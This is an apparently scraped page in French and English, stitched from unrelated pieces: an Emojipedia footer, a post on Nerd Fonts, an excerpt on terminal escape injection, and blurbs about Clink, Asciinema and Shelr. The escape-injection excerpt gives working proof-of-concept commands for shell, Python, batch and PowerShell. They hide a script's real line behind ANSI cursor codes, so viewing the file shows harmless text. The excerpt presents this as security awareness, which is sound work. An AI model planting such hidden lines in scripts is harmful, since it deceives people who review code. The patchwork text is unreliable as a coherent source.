Emojipedia is brought to you by Zedge, the world's #1 phone personalization app
Logo Apple AppStore Logo Google Play Symbol Web Browser
Tous les noms d'emoji sont des noms officiels de la base de données de caractères Unicode ou du CLDR. Les points de code indiqués font partie de la norme Unicode.
Les descriptions et définitions supplémentaires d'emoji sont protégées par les droits d'auteur © d'Emojipedia. Les images Emoji affichées sur Emojipedia sont protégées par les droits d'auteur © de leurs créateurs respectifs, sauf indication contraire.
Nerd Fonts – Les meilleurs polices pour les développeurs
@Korben — 19 août 2021
Les polices de caractères, c’est cool, mais ce n’est pas forcement adapté à tous nos usages de nerds… Parfois, notre police (ou font) préférée manque de certains symboles et ça fait des carrés chelous dans nos terminaux ou nos IDE.
Heureusement, il existe un super projet collaboratif qui s’appelle Nerd Fonts et qui vise à patcher les polices de caractères les plus appréciées des développeurs et autres informaticiens en y ajouter un grand nombre de glyphs (icones) en provenance de projets que vous connaissez tous :
Powerline Extra Symbols
Font Awesome
Font Awesome Extension
Material Design Icons
Weather Icons
Devicons
Octicons
Font Logos (Formerly Font Linux)
Pomicons
IEC Power Symbols
Seti-UI + Custom
Shell script escape injection
echo -e '#!/bin/sh\n\necho "evil!"\nexit 0\n\033[2Aecho "Hello World!"\n' > script.sh
chmod a+x script.sh
The resulting script.sh will then work on (has been tested on):
Linux (gnome-terminal, xterm, aterm)
Mac OS (Terminal 2.0, iTerm2)
Cygwin (Windows)
Python script escape injection
echo -e '#!/usr/bin/python\n\nprint "evil!";\nexit(0);\n#\033[2A\033[1Dprint "Hello World!";\n' > script.py
chmod a+x script.py
The resulting script.py will then work on (has been tested on):
Linux (gnome-terminal, xterm, aterm)
Mac OS (Terminal 2.0, iTerm2)
Cygwin (Windows)
Batch (Command Prompt) escape injection
echo -e '@echo off\n\r\n\recho evil!\r\n::\033[2D \033[A\033[2Decho Hello World!' > script.bat
The resulting script.bat will then work on (has been tested on):
Windows 10 PowerShell
Windows 10 Command Prompt
PS1 (PowerShell) escape injection
echo -e 'write-host "evil!"\r\n#\033[A\033[2Dwrite-host "Hello World!"' > script.ps1
The resulting script.ps1 will then work on (has been tested on):
Windows 10 PowerShell
Windows 10 Command Prompt
Conclusion
As we have seen in this article, terminal escape injections affect practically every modern operating system environment and they can be really nasty.
As infosec professionals, we should know about them and keep our guards up when it matters. Hopefully this article provided enough information to stay safe.
Please feel free to let us know in the comment section your thoughts.
un terminal Unix ou MS dans votre browser
tget : le wget du torrent | memo-linux.com
Overview
Clink combines the native Windows shell cmd.exe with the powerful command line editing features of the GNU Readline library, which provides rich completion, history, and line-editing capabilities. Readline is best known for its use in the well-known Unix shell Bash, the standard shell for Mac OS X and many Linux distributions.
Gate One 1.1.0 documentation
Asciinema is a free and open source solution for recording the terminal sessions and sharing them on the web. Read more about how it works.
Shelr propose un outil pour enregistrer, rejouer et diffuser les commandes et leurs résultats saisies dans votre terminal favori (console). L'avantage par rapport à un screencast classique est que le termcast sauvegarde non pas une vidéo mais juste le texte.
Il est possible de fonctionner de manière autonome en gérant vous même vos enregistrements (ce qui peut par exemple être très pratique pour une présentation ou un cours à des élèves). Si vous souhaitez diffusez ces enregistrements sur Internet, il faut passer par le site Shelr.tv: l'inscription prends quelques secondes et l'hébergement de vos termcasts est gratuite.
Cerise sur le gâteau, les outils Shelr sont fournis sont licence GPL v3 dans un GitHub.
Installation Shelr sur votre système
Voici la procédure à suivre sur une distribution Ubuntu. Les seuls pré-requis sont d'avoir ruby et rubugems installés sur son système d'exploitation:
sudo apt-get install ruby rubygems
sudo gem install shelr